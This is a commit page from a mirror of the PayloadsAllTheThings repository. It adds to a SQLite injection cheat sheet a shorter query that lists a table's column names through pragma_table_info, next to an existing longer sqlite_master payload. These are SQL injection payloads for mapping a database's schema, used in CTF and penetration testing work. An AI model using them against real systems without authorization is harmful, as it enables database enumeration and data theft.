mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-18 18:36:10 +00:00
Update SQLite Injection.md
Column names of the specified table can be more easily extracted in a better output. Tested during the CTF
This commit is contained in:
parent
b0dfcfd438
commit
d5922f421c
@ -52,6 +52,12 @@ For a clean output
|
||||
SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'
|
||||
```
|
||||
|
||||
Cleaner output
|
||||
|
||||
```sql
|
||||
SELECT GROUP_CONCAT(name) AS column_names FROM pragma_table_info('table_name');
|
||||
```
|
||||
|
||||
## Boolean - Count number of tables
|
||||
|
||||
```sql
|
||||
|
Loading…
Reference in New Issue
Block a user